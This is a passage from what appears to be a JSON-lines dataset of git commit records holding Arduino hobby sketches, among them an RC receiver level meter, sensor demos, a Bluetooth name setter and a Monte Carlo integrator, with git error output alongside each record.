6, y, '0' + count % 10, color);\n }\n\n void display_clock(int16_t x, int16_t y, uint16_t bpm, DUINO_SH1106::Color color)\n {\n if(bpm == 0)\n {\n Display.draw_text(x, y, \"EXT\", color);\n }\n else\n {\n Display.draw_char(x, y, '0' + bpm \/ 100, color);\n Display.draw_char(x + 6, y, '0' + (bpm % 100) \/ 10, color);\n Display.draw_char(x + 12, y, '0' + bpm % 10, color);\n }\n }\n\n void display_swing(int16_t x, int16_t y, uint8_t swing, DUINO_SH1106::Color color)\n {\n Display.draw_char(x, y, '0' + swing \/ 10, color);\n Display.draw_char(x + 6, y, '0' + swing % 10, color);\n }\n\n void display_pattern_dot(uint8_t bank, uint8_t step)\n {\n const uint8_t p = 16 * bank + step;\n Display.fill_rect(widgets_patterns_[bank]->x(step) + 1, widgets_patterns_[bank]->y(step) + 1, 6, 7,\n DUINO_SH1106::Black);\n if (params.vals.pattern[p])\n {\n Display.draw_bitmap_7(widgets_patterns_[bank]->x(step) + 1, widgets_patterns_[bank]->y(step) + 1, icons,\n params.vals.pattern[p] - 1, DUINO_SH1106::White);\n }\n }\n\n void mark_save()\n {\n if(saved_)\n {\n saved_ = false;\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n void invert_step(int8_t step)\n {\n if (step > -1)\n {\n Display.fill_rect(step * 8 + 3, 11, 2, 5, DUINO_SH1106::Inverse);\n Display.fill_rect(step * 8 + 3, 25, 2, 2, DUINO_SH1106::Inverse);\n Display.fill_rect(step * 8 + 3, 36, 2, 2, DUINO_SH1106::Inverse);\n Display.fill_rect(step * 8 + 3, 47, 2, 2, DUINO_SH1106::Inverse);\n Display.fill_rect(step * 8 + 3, 58, 2, 5, DUINO_SH1106::Inverse);\n }\n\n Display.display(step * 8 + 3, step * 8 + 5, 1, 7);\n }\n\n struct DU_PLSR_Parameter_Values {\n uint8_t pattern[64];\n int8_t step_count;\n int16_t clock_bpm;\n int8_t swing;\n };\n\n union DU_PLSR_Parameters {\n DU_PLSR_Parameter_Values vals;\n uint8_t bytes[68];\n };\n\n DU_PLSR_Parameters params;\n\n DUINO_WidgetContainer<6> * container_outer_;\n DUINO_WidgetContainer<3> * container_top_;\n DUINO_DisplayWidget * widget_save_;\n DUINO_DisplayWidget * widget_measures_;\n DUINO_DisplayWidget * widget_clock_;\n DUINO_DisplayWidget * widget_swing_;\n DUINO_MultiDisplayWidget<16> * widgets_patterns_[4];\n\n int8_t displayed_step;\n};\n\nDU_PLSR_Function * function;\n\nvoid clock_ext_isr()\n{\n Clock.on_jack(function->gt_read_debounce(DUINO_Function::GT3));\n}\n\nvoid reset_isr()\n{\n current_step = 0;\n Clock.update();\n}\n\nvoid clock_callback() { function->clock_clock_callback(); }\nvoid external_callback() { function->clock_external_callback(); }\n\nvoid save_click_callback() { function->widget_save_click_callback(); }\nvoid measures_scroll_callback(int delta) { function->widget_measures_scroll_callback(delta); }\nvoid clock_scroll_callback(int delta) { function->widget_clock_scroll_callback(delta); }\nvoid swing_scroll_callback(int delta) { function->widget_swing_scroll_callback(delta); }\nvoid patterns_click_callback_0(uint8_t step) { function->widgets_patterns_click_callback(0, step); }\nvoid patterns_click_callback_1(uint8_t step) { function->widgets_patterns_click_callback(1, step); }\nvoid patterns_click_callback_2(uint8_t step) { function->widgets_patterns_click_callback(2, step); }\nvoid patterns_click_callback_3(uint8_t step) { function->widgets_patterns_click_callback(3, step); }\n\nvoid setup()\n{\n function = new DU_PLSR_Function();\n\n current_step = 0;\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/plsr\/plsr.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"904c6ae611b959725b76a54191c866b31a1c31e2","subject":"Add empty SensorTag library accomodate demo Sketches","message":"Add empty SensorTag library accomodate demo Sketches\n","repos":"battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia,battosai30\/Energia","old_file":"hardware\/cc2600emt\/libraries\/SensorTag\/LowPowerWatchDemo\/LowPowerWatchDemo.ino","new_file":"hardware\/cc2600emt\/libraries\/SensorTag\/LowPowerWatchDemo\/LowPowerWatchDemo.ino","new_contents":"\/\/ Include application, user and local libraries\n#include \"Wire.h\"\n#include \"SPI.h\"\n#include \"OneMsTaskTimer.h\"\n#include \"LCD_SharpBoosterPack_SPI.h\"\n#include \"Adafruit_TMP007.h\"\n#include <ti\/sysbios\/knl\/Clock.h>\n\n#include <ti\/sysbios\/hal\/Seconds.h>\n#include <time.h>\n\n\/* TMP007 driver *\/\nAdafruit_TMP007 tmp007;\n\n\/* LCD driver *\/\nLCD_SharpBoosterPack_SPI myScreen(7, 20, 10, false);\n\nint32_t secondsOffset = 0;\n\nSemaphore_Handle mySem;\n\nvoid myClkFunc(UArg arg)\n{\n Semaphore_post(mySem);\n}\n\nvoid button1Interrupt()\n{\n Semaphore_post(mySem);\n}\n\nvoid button2Interrupt()\n{\n Semaphore_post(mySem);\n}\n\nvoid lcdSetup() {\n Semaphore_Params mySemParams;\n Clock_Params myClkParams;\n\n \/* Use pull up on button inputs to save power *\/ \n pinMode(PUSH1, INPUT_PULLUP);\n pinMode(PUSH2, INPUT_PULLUP);\n\n \/* Both buttons post the semaphore *\/\n attachInterrupt(PUSH1, button1Interrupt, FALLING);\n attachInterrupt(PUSH2, button2Interrupt, FALLING);\n\n \/* set LCD's EXTMODE low (sadly this is the UART Rx pin too) *\/\n digitalWrite(12, 0);\n\n \/* turn off MPU power *\/\n digitalWrite(22, 0);\n\n \/* put flash into power down mode *\/\n SPI.begin();\n SPI.transfer((uint8_t)32, 0xb9);\n SPI.end();\n\n \/* power down the tmp007 *\/\n Wire.begin();\n tmp007.begin(TMP007_CFG_1SAMPLE);\n tmp007.write16(TMP007_CONFIG, TMP007_CFG_ALERTEN | TMP007_CFG_TRANSC | TMP007_CFG_1SAMPLE);\n Wire.end();\n \n Semaphore_Params_init(&mySemParams);\n\n mySem = Semaphore_create(0, &mySemParams, NULL);\n \n Clock_Params_init(&myClkParams);\n\n myClkParams.period = 100000; \/* one second *\/\n myClkParams.startFlag = true;\n\n \/* comment out for steady state power testing *\/\n Clock_create(myClkFunc, 0, &myClkParams, NULL); \n \n myScreen.begin(); \/* also calls SPI.begin() *\/\n\n myScreen.setFont(1);\n myScreen.text(10, 10, \"Hello!\");\n myScreen.flush(); \n\n SPI.end(); \/* to save power *\/\n\n \/* Say Hello for 1 second *\/\n delay(1000);\n\n SPI.begin();\n myScreen.clear();\n SPI.end(); \/* to save Power *\/\n}\n\nvoid printTime()\n{\n String buf;\n uint32_t curSeconds;\n int days, hours, minutes, seconds;\n\n SPI.begin();\n\n myScreen.clearBuffer();\n\n myScreen.text(5, 10, \"Energia\");\n\n curSeconds = Seconds_get();\n seconds = (int) curSeconds % 60;\n minutes = (int) ((curSeconds \/ 60) % 60);\n hours = (int) ((curSeconds \/ (60*60)) % 24);\n days = (int) (curSeconds \/ (60*60*24));\n\n if (hours < 10) {\n buf += \"0\";\n }\n buf += hours;\n buf += \":\";\n if (minutes < 10) {\n buf += \"0\";\n }\n buf += minutes;\n buf += \":\";\n if (seconds < 10) {\n buf += \"0\";\n }\n buf += seconds;\n myScreen.text(1, 50, buf);\n myScreen.text(25, 70, \"Time\");\n buf = \"\";\n if (days < 100) buf += \"0\";\n if (days < 10) buf += \"0\";\n buf += days;\n buf += \":\";\n myScreen.text(1, 30, buf);\n myScreen.flush();\n\n SPI.end(); \/* to save Power *\/\n}\n\nvoid lcdLoop() {\n\n Semaphore_pend(mySem, BIOS_WAIT_FOREVER);\n\n \/* Advance quickly *\/\n while(digitalRead(PUSH2) == 0) {\n secondsOffset += 100;\n Seconds_set(secondsOffset);\n printTime();\n }\n\n \/* reverse more slowly *\/\n while(digitalRead(PUSH1) == 0) {\n secondsOffset -= 10;\n Seconds_set(secondsOffset);\n printTime();\n }\n\n printTime();\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/cc2600emt\/libraries\/SensorTag\/LowPowerWatchDemo\/LowPowerWatchDemo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f627fb8c9c5a0b09b757a65617d5bda45d10507e","subject":"RC Levels test \/ play project","message":"RC Levels test \/ play project\n","repos":"james481\/arduino-misc","old_file":"RC_levels.ino","new_file":"RC_levels.ino","new_contents":"\/*\n * RC Reciever LED Level Indicator\n * \n * Shows current levels on four main RC channels via 3 LED array (one at a time).\n * Toggle channel shown via momentary (.25 second) high level on another channel.\n * Requires EnableInterrupt.\n * \n * First Arduino \"project\", code could probably be better.\n * \n * created 27 Oct 2015\n * by James Watts\n *\/\n\n#include <EnableInterrupt.h>\n\n\/\/ RC Channels in\n#define THROTTLE_SIGNAL_IN 2\n#define YAW_SIGNAL_IN 5\n#define PITCH_SIGNAL_IN 4\n#define ROLL_SIGNAL_IN 3\n#define TOGGLE_SIGNAL_IN 10\n\n\/\/ LED level out\n#define LEVEL_OUT_LOW A0\n#define LEVEL_OUT_MED A1\n#define LEVEL_OUT_HIGH A2\n\n\/\/ Signal LED\n#define SIGNAL_OUT 13\n\n\/\/ Update Flags\n#define THROTTLE_FLAG 1\n#define YAW_FLAG 2\n#define PITCH_FLAG 4\n#define ROLL_FLAG 8\n#define TOGGLE_FLAG 16\n\nvolatile uint8_t updateFlagsShared;\nuint8_t currentFlag;\n\n\/\/ Shared ISR channel values\nvolatile uint16_t throttleInShared;\nvolatile uint16_t yawInShared;\nvolatile uint16_t pitchInShared;\nvolatile uint16_t rollInShared;\nvolatile uint16_t toggleInShared;\n\n\/\/ Channel pulse times\nuint32_t throttleStart;\nuint32_t yawStart;\nuint32_t pitchStart;\nuint32_t rollStart;\nuint32_t toggleStart;\n\n\/\/ Signal LED pulse time \/ state\nuint32_t signalStart = 0;\nint signalState = LOW;\n\n\/\/ Toggle time \/ state\nuint32_t toggleLastChange = 0;\nint toggleLastState = 0;\n\nvoid setup() {\n \/\/ Setup input (RC) pins\n pinMode(THROTTLE_SIGNAL_IN, INPUT);\n pinMode(YAW_SIGNAL_IN, INPUT);\n pinMode(PITCH_SIGNAL_IN, INPUT);\n pinMode(ROLL_SIGNAL_IN, INPUT);\n pinMode(TOGGLE_SIGNAL_IN, INPUT);\n \n \/\/ Setup output LED pins\n pinMode(LEVEL_OUT_LOW, OUTPUT);\n pinMode(LEVEL_OUT_MED, OUTPUT);\n pinMode(LEVEL_OUT_HIGH, OUTPUT);\n pinMode(SIGNAL_OUT, OUTPUT);\n\n \/\/ Setup current channel\n currentFlag = THROTTLE_FLAG;\n \n \/\/ Attach Interrupts\n enableInterrupt(THROTTLE_SIGNAL_IN, calcThrottle, CHANGE);\n enableInterrupt(YAW_SIGNAL_IN, calcYaw, CHANGE);\n enableInterrupt(PITCH_SIGNAL_IN, calcPitch, CHANGE);\n enableInterrupt(ROLL_SIGNAL_IN, calcRoll, CHANGE);\n enableInterrupt(TOGGLE_SIGNAL_IN, calcToggle, CHANGE);\n}\n\nvoid loop() {\n \/\/ Local Channel Values\n static uint16_t throttleIn;\n static uint16_t yawIn;\n static uint16_t pitchIn;\n static uint16_t rollIn;\n static uint16_t toggleIn;\n\n \/\/ Local flag copy\n static uint8_t updateFlags;\n\n \/\/ Check channels for updates and copy to locals\n if (updateFlagsShared) {\n noInterrupts();\n updateFlags = updateFlagsShared;\n\n if (updateFlags & THROTTLE_FLAG) {\n throttleIn = throttleInShared;\n }\n\n if (updateFlags & YAW_FLAG) {\n yawIn = yawInShared;\n }\n\n if (updateFlags & PITCH_FLAG) {\n pitchIn = pitchInShared;\n }\n\n if (updateFlags & ROLL_FLAG) {\n rollIn = rollInShared;\n }\n\n if (updateFlags & TOGGLE_FLAG) {\n toggleIn = toggleInShared;\n }\n\n updateFlagsShared = 0;\n interrupts();\n }\n\n \/\/ Handle toggle state change\n if (updateFlags & TOGGLE_FLAG) {\n \n \/\/ Check if toggle is held at high level for more than .25 seconds\n \/\/ but only toggle once per switch (debounce)\n if (toggleIn > 1900) { \n if (toggleLastState == 0) {\n if (toggleLastChange == 0) {\n toggleLastChange = millis();\n } else if ((millis() - toggleLastChange) > 250) {\n \n \/\/ Toggled high for > .25 seconds, switch channels\n if (currentFlag & ROLL_FLAG) {\n currentFlag = THROTTLE_FLAG;\n } else {\n currentFlag = currentFlag << 1;\n }\n\n \/\/ Save the toggled state to prevent another \n \/\/ toggle until switch is released (channel level low)\n toggleLastState = 1;\n }\n }\n } else {\n toggleLastChange = 0;\n toggleLastState = 0;\n }\n }\n \n \/\/ Show channel selected by current mask\n if (currentFlag & THROTTLE_FLAG) {\n showSignalLevel(throttleIn);\n } else if (currentFlag & YAW_FLAG) {\n showSignalLevel(yawIn);\n } else if (currentFlag & PITCH_FLAG) {\n showSignalLevel(pitchIn);\n } else if (currentFlag & ROLL_FLAG) {\n showSignalLevel(rollIn);\n } else {\n \/\/ Default to Throttle\n showSignalLevel(throttleIn);\n }\n\n \/\/ Show current channel selected by flashing signal LED\n showCurrentChannel(currentFlag);\n}\n\n\/\/ Handle interrupts for each channel, could be rewritten as a single \n\/\/ function via EI_ARDUINO_INTERRUPTED_PIN detection\nvoid calcThrottle() {\n if (digitalRead(THROTTLE_SIGNAL_IN) == HIGH) {\n throttleStart = micros();\n } else {\n throttleInShared = (uint16_t)(micros() - throttleStart);\n updateFlagsShared |= THROTTLE_FLAG;\n }\n}\n\nvoid calcYaw() {\n if (digitalRead(YAW_SIGNAL_IN) == HIGH) {\n yawStart = micros();\n } else {\n yawInShared = (uint16_t)(micros() - yawStart);\n updateFlagsShared |= YAW_FLAG;\n }\n}\n\nvoid calcPitch() {\n if (digitalRead(PITCH_SIGNAL_IN) == HIGH) {\n pitchStart = micros();\n } else {\n pitchInShared = (uint16_t)(micros() - pitchStart);\n updateFlagsShared |= PITCH_FLAG;\n } \n}\n\nvoid calcRoll() {\n if (digitalRead(ROLL_SIGNAL_IN) == HIGH) {\n rollStart = micros();\n } else {\n rollInShared = (uint16_t)(micros() - rollStart);\n updateFlagsShared |= ROLL_FLAG;\n } \n}\n\nvoid calcToggle() {\n if (digitalRead(TOGGLE_SIGNAL_IN) == HIGH) {\n toggleStart = micros();\n } else {\n toggleInShared = (uint16_t)(micros() - toggleStart);\n updateFlagsShared |= TOGGLE_FLAG;\n }\n}\n\n\/\/ Translate current channel's level to lighting the LED array\nvoid showSignalLevel(uint16_t levelIn) {\n \n if (levelIn > 1100) {\n \/\/ Show LOW LED\n digitalWrite(LEVEL_OUT_LOW, HIGH);\n } else {\n digitalWrite(LEVEL_OUT_LOW, LOW);\n }\n\n if (levelIn > 1400) {\n \/\/ Show MED LED\n digitalWrite(LEVEL_OUT_MED, HIGH);\n } else {\n digitalWrite(LEVEL_OUT_MED, LOW);\n }\n \n if (levelIn > 1900) {\n \/\/ Show HIGH LED\n digitalWrite(LEVEL_OUT_HIGH, HIGH);\n } else {\n digitalWrite(LEVEL_OUT_HIGH, LOW);\n }\n}\n\n\/\/ Flash Signal LED, speed based on current channel\nvoid showCurrentChannel(uint8_t currentChannelFlag) {\n uint16_t interval;\n uint16_t currentTime = millis();\n \n if (currentChannelFlag > 0) {\n interval = 1000 \/ currentChannelFlag;\n } else {\n interval = 2000;\n }\n\n if (currentTime - signalStart >= interval) {\n signalStart = currentTime;\n if (signalState == LOW) {\n digitalWrite(SIGNAL_OUT, HIGH);\n signalState = HIGH;\n } else {\n digitalWrite(SIGNAL_OUT, LOW);\n signalState = LOW;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RC_levels.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c1adb22014e4252300777be95d20ba21c2c4491","subject":"Further attempt at int-fix in cdMotor-code","message":"Further attempt at int-fix in cdMotor-code\n","repos":"tihlde\/ircbot","old_file":"cdMotor\/cdMotor.ino","new_file":"cdMotor\/cdMotor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tihlde\/ircbot.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"31389830ea7448fe29dc80006d07bdb2afde6047","subject":"housekeeping","message":"housekeeping\n","repos":"aaronroth\/Robolette,aaronroth\/Robolette,aaronroth\/Robolette","old_file":"robolette.ino","new_file":"robolette.ino","new_contents":"\/\/ Copyright (c) 2012 Aaron Roth\n\/\/ See the file license.txt for copying permission.\n\/\/\n\nconst int baud_rate = 9600;\nconst int buffer_size = 2;\nconst int right_valve = 8;\nconst int left_valve = 11;\nconst int pour_time = 1000;\n\n\/\/ Buffer and variables to store incoming valve pour states.\nint buffer[buffer_size];\nint right_v_state;\nint left_v_state;\n\nvoid setup()\n{\n Serial.begin(baud_rate);\n pinMode(8, OUTPUT);\n pinMode(11, OUTPUT);\n}\n\nvoid loop()\n{\n if (Serial.available())\n {\n memset(buffer, '\\0', buffer_size);\n \n for (int i = 0; i < 2; i++)\n {\n buffer[i] = int(Serial.read()) - 48;\n delay(5);\n }\n \n right_v_state = buffer[0];\n left_v_state = buffer[1];\n \n if (right_v_state == 1 && left_v_state == 0)\n {\n digitalWrite(right_valve, HIGH);\n delay(pour_time);\n digitalWrite(right_valve, LOW);\n }\n else if (right_v_state == 0 && left_v_state == 1)\n {\n digitalWrite(left_valve, HIGH);\n delay(pour_time);\n digitalWrite(left_valve, LOW);\n }\n else if (right_v_state == 1 && left_v_state == 1)\n {\n digitalWrite(right_valve, HIGH);\n digitalWrite(left_valve, HIGH);\n delay(pour_time);\n digitalWrite(right_valve, LOW);\n digitalWrite(left_valve, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robolette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12bdc6fc907ad7b489328e8677c4e3c87e12d02e","subject":"feat: Create examples using timeouts","message":"feat: Create examples using timeouts\n\nResolves: #44\n","repos":"ErickSimoes\/Ultrasonic","old_file":"examples\/Timeout\/Timeout.ino","new_file":"examples\/Timeout\/Timeout.ino","new_contents":"\/*\n * Timeout\n * Prints the distance read by an ultrasonic sensor in\n * centimeters and change the default timeout. They are\n * supported to four pins ultrasound sensors (liek HC-SC04)\n * and three pins (like PING))) and Seeed Studio sesores).\n *\n * The circuit:\n * * Module HR-SC04 (four pins) or PING))) (and other with\n * three pins), attached to digital pins as follows:\n * --------------------- --------------------\n * | HC-SC04 | Arduino | | 3 pins | Arduino |\n * --------------------- --------------------\n * | Vcc | 5V | | Vcc | 5V |\n * | Trig | 12 | OR | SIG | 13 |\n * | Echo | 13 | | Gnd | GND |\n * | Gnd | GND | --------------------\n * ---------------------\n * Note: You do not obligatorily need to use the pins defined above\n * \n * By default, the distance returned by the read()\n * method is in centimeters, to get the distance in inches,\n * pass INC as a parameter.\n * Example: ultrasonic.read(INC)\n *\n * created 3 Apr 2014\n * by Erick Sim\u00f5es (github: @ErickSimoes | twitter: @AloErickSimoes)\n * modified 23 Jan 2017\n * by Erick Sim\u00f5es (github: @ErickSimoes | twitter: @AloErickSimoes)\n * modified 03 Mar 2017\n * by Erick Sim\u00f5es (github: @ErickSimoes | twitter: @AloErickSimoes)\n * modified 11 Jun 2018\n * by Erick Sim\u00f5es (github: @ErickSimoes | twitter: @AloErickSimoes)\n *\n * This example code is released into the MIT License.\n *\/\n\n #include <Ultrasonic.h>\n\n\/**\n * Is possible set the timeout in the constructor, like:\n * Ultrasonic ultrasonic(12, 13, 20000UL);\n *\/\nUltrasonic ultrasonic(12, 13);\n\nvoid setup() {\n Serial.begin(9600);\n ultrasonic.setTimeout(40000UL);\n\n}\n\nvoid loop() {\n Serial.print(\"Distance in CM: \");\n Serial.println(ultrasonic.read());\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Timeout\/Timeout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b55fed559101aa2f69e710a02a33d78d91ec65ad","subject":"Entradas anal\u00f3gicas - Sensor de temperatura LM35","message":"Entradas anal\u00f3gicas - Sensor de temperatura LM35","repos":"MrChunckuee\/STELLARIS-ENERGIA_Examples,MrChunckuee\/STELLARIS-ENERGIA_Examples","old_file":"LM4F_E004\/LM4F_E004.ino","new_file":"LM4F_E004\/LM4F_E004.ino","new_contents":"\/*******************************************************************************\n *\n * Entradas analogicas\n *\n *******************************************************************************\n * FileName: LM4F_E004.ino\n * Processor: EX-LM4F120XL\n * Complier: Energia 0101e0017\n * Author: Pedro S\u00e1nchez Ram\u00edrez (MrChunckuee)\n * Blog: http:\/\/mrchunckuee.blogspot.com\/\n * Email: mrchunckuee.psr@gmail.com\n * Description: Ejemplo basico para para usar el ADC, leer temperatura del \n LM35 y mostrarlo en el monitor serial.\n *******************************************************************************\n * Rev. Date Comment\n * v1.00 27\/10\/2016 Creaci\u00f3n del firmware\n ******************************************************************************\/\n\nconst int pinLM35 = A0; \/\/ Pin analogico\nint muestras, valueADC = 0; \nfloat mvADC = 0;\nfloat tempLM35 = 0;\n\nvoid setup(){\n Serial.begin(9600); \/\/ Start serial port at 9600 bps \n}\n\nvoid loop(){\n \/\/ read the analog in value:\n valueADC+=analogRead(pinLM35); \n muestras++;\n if(muestras==32){\n muestras=0;\n valueADC=valueADC>>5;\n tempLM35=valueADC*0.08;\n Serial.print(\"Temperatura: \"); \n Serial.print(tempLM35); \n Serial.print(\" C\\n\");\n }\n delay (32);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LM4F_E004\/LM4F_E004.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"440ad3cf7263ea25e98929ebfd4edf58751ac7ea","subject":"add nameSetter","message":"add nameSetter\n","repos":"tutturen\/max_speed_backflip_robot","old_file":"arduino\/NameSetter.ino","new_file":"arduino\/NameSetter.ino","new_contents":"#include <SoftwareSerial.h>\n#include <PLabBTSerial.h>\n\n#define txPin 3\n#define rxPin 2\n\nchar BTName[] = \"BACK_FLIP\";\nchar ATCommand[] = \"AT+NAMEMAX_SPEED\";\nPLabBTSerial btSerial(txPin, rxPin);\n\nvoid setup() {\n Serial.begin(9600);\n btSerial.begin(9600);\n}\n\nvoid loop() {\n Serial.print(\"Setting new name for device to: MAX_SPEED\");\n Serial.println(BTName);\n\n btSerial.write(ATCommand);\n btSerial.write(BTName);\n btSerial.write(0x0D);\n btSerial.write(0x0A);\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/NameSetter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2c8ac15cf8b58e5dcec5f673adf4bdc0973bdac","subject":"Create sketch_BMP085.ino","message":"Create sketch_BMP085.ino","repos":"CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE","old_file":"Seeed\/BMP085\/sketch_BMP085.ino","new_file":"Seeed\/BMP085\/sketch_BMP085.ino","new_contents":"\/* Barometer demo V1.0\n* Based largely on code by Jim Lindblom\n* Get pressure, altitude, and temperature from the BMP085.\n* Serial.print it out at 9600 baud to serial monitor.\n*\n* By:http:\/\/www.seeedstudio.com\n*\/\n#include \"Barometer.h\"\n#include <Wire.h>\nfloat temperature;\nfloat pressure;\nfloat atm;\nfloat altitude;\nBarometer myBarometer;\nvoid setup(){\n Serial.begin(9600);\n myBarometer.init();\n Serial.println(\"SetUp - Ok\");\n}\n\nvoid loop()\n{\n temperature = myBarometer.bmp085GetTemperature(myBarometer.bmp085ReadUT()); \/\/Get the temperature, bmp085ReadUT MUST be called first\n pressure = myBarometer.bmp085GetPressure(myBarometer.bmp085ReadUP());\/\/Get the temperature\n altitude = myBarometer.calcAltitude(pressure); \/\/Uncompensated caculation - in Meters \n atm = pressure \/ 101325; \n \n Serial.print(\"Temperature: \");\n Serial.print(temperature, 2); \/\/display 2 decimal places\n Serial.println(\"deg C\");\n\n Serial.print(\"Pressure: \");\n Serial.print(pressure, 0); \/\/whole number only.\n Serial.println(\" Pa\");\n\n Serial.print(\"Ralated Atmosphere: \");\n Serial.println(atm, 4); \/\/display 4 decimal places\n\n Serial.print(\"Altitude: \");\n Serial.print(altitude, 2); \/\/display 2 decimal places\n Serial.println(\" m\");\n\n Serial.println();\n\n delay(10000); \/\/wait a second and get values again.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Seeed\/BMP085\/sketch_BMP085.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"425bbe297b0bd597a9bda6f5bbb653eff14148e3","subject":"add source code","message":"add source code\n","repos":"amdrwe\/MonteCarlo,amdrwe\/MonteCarlo","old_file":"monte_carlo_integration_using_entropy_library\/monte_carlo_integration_using_entropy_library.ino","new_file":"monte_carlo_integration_using_entropy_library\/monte_carlo_integration_using_entropy_library.ino","new_contents":"#include <Entropy.h>\n\n#include <StackList.h>\/\/need a stack to evaluate our expression; easier than writing an infix parser or doing it myself. bog-standard stack implemented using linked list\n\nunsigned long g_last_random; \/\/ last random value\n\/\/i dont know why i'm doing this on an arduino, but the due is kinda neat for math stuff like this\n\/\/don't bother trying this on anything but a 32-bit board (e.g. the Due); the loss of precision from floats would be egregious in addition to the considerably slower clock speed et al.\nvoid setup() {\n Serial.begin(9600);\n \n \/\/init_real_random();\n monte_carlo_integrate(\"2x*\", 0, 10, 200000, 1);\n}\nvoid loop(){ }\n\/\/expression must be postfix, at current time only supports one digit numbers and one variable [a-zA-z]\n\/\/lower_bound is self explanatory, as is upper_bound\n\/\/counter is a number specifying how many times you want to put a point in the box, basically. It's a long in case you want to do more than max_int calculations (recommended)\n\/\/I found good results with 100,000 to 200,000 iterations; be warned that beyond that it takes a _very_ long time to calculate the result (or at least more time than I was willing to wait)\n\/\/interval is the delta used for finding the approximate max value of the function over the interval; 0.01 is probably a good place to start\ndouble monte_carlo_integrate(String expression, int lower_bound, int upper_bound, long counter, double interval){\n Serial.print(\"Doing Monte Carlo integration of \");\n Serial.println(expression);\n Serial.print(\"Lower bound: \");\n Serial.println(lower_bound);\n Serial.print(\"Upper bound: \");\n Serial.println(upper_bound);\n Serial.print(\"Check count: \");\n Serial.println(counter);\n int hits = 0;\n Serial.print(\"Finding approx max: \");\n double approx_max = find_max(expression, interval, lower_bound, upper_bound); \n Serial.println(approx_max);\n for (long i = 0; i < counter; i++) {\n double rand_x;\n do{\n \/\/rand_x = random_number() * upper_bound;\n double to_abs = upper_bound - lower_bound;\n rand_x = Entropy.rnorm((upper_bound - lower_bound \/ 2.0), (abs(to_abs)\/2.0));\n } \n while (rand_x < lower_bound);\n double rand_y = random_number() * approx_max;\n\n double result = postfix_eval(expression, rand_x);\n if (rand_y <= result){\n hits++;\n }\n Serial.print(\".\");\n }\n Serial.print(\"hits: \"); \n Serial.println(hits);\n Serial.print(\"total number of attempts: \"); \n Serial.println(counter);\n double proportion = (double(hits)\/double(counter));\n Serial.print(\"Proportion of hits: \"); \n Serial.println(proportion,5);\n double box_area = ((upper_bound - lower_bound) * approx_max);\n Serial.print(\"Area of rectangle: \"); \n Serial.println(box_area, 5);\n double estimated_result = proportion * box_area;\n Serial.print(\"Estimated result: \"); \n Serial.println(estimated_result,5);\n return estimated_result;\n}\n\ndouble postfix_eval(String expression, double var){ \/\/use a stack to evaluate a postfix expression. var is what it will put on the stack if it finds a character other than an operator or a digit.\n double y;\n double y1;\n double y2;\n StackList<double> stack;\n char ch;\n for (int i = 0; i < expression.length(); i++){\n ch = expression.charAt(i);\n if(ch>='a'&&ch<='z'||ch>='A'&&ch<='Z')\n {\n stack.push(var);\n } \n else\n if(ch >= '0' && ch <= '9'){\n stack.push(ch - 48);\n } \n else \n if(ch == '+' || ch == '-' || ch == '*' || ch == '\/' || ch == '^')\n { \n y2 = stack.pop();\n y1 = stack.pop();\n if(ch == '+')\n {\n y = y1 + y2;\n stack.push(y);\n }\n if(ch == '-')\n {\n y = y1 - y2;\n stack.push(y);\n }\n if(ch == '^')\n {\n y = pow(y1, y2); \/\/^ is the bitwise xor op for some asinine reason, so pow is used. returns a double so no loss of precision.\n stack.push(y);\n }\n if(ch == '*')\n {\n y = y1 * y2;\n stack.push(y);\n }\n if(ch=='\/')\n {\n y = y1 \/ y2;\n stack.push(y);\n } \n }\n }\n double r = stack.pop();\n return r;\n}\n\ndouble find_max(String expression, double interval, int lower_bound, int upper_bound){ \/\/find the max value so we have a vertical size for our box\n double return_this = 0;\/\/initialize our return to 0\n double current_val = lower_bound;\n double temp;\n while (current_val <= upper_bound){\n temp = postfix_eval(expression, current_val);\n if(temp >= return_this){\n return_this = temp;\n }\n current_val+=interval;\n }\n return return_this;\/\/duh\n}\n\n\nvoid init_real_random()\/\/initialize our prng\n{\n g_last_random = millis();\/\/reasonably random seed; not perfect but better than the godawful builtin random algo\n}\n\ndouble random_number() \/\/random() (the default arduino prng) is a pos, this provides more \"random\" results and also returns a double between 0 and 1, which is more useful\n{\n unsigned long temp;\n temp = 663608941*g_last_random; \/\/multiply a big number by our last random number\n g_last_random = temp; \/\/new random\n return(((double)temp)\/((double)4294967295)); \/\/make it a small number; this is essentially a prototypical prng but other implementations (i.e. seed based on a0 voltage) didn't pan out\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'monte_carlo_integration_using_entropy_library\/monte_carlo_integration_using_entropy_library.ino' did not match any file(s) known to 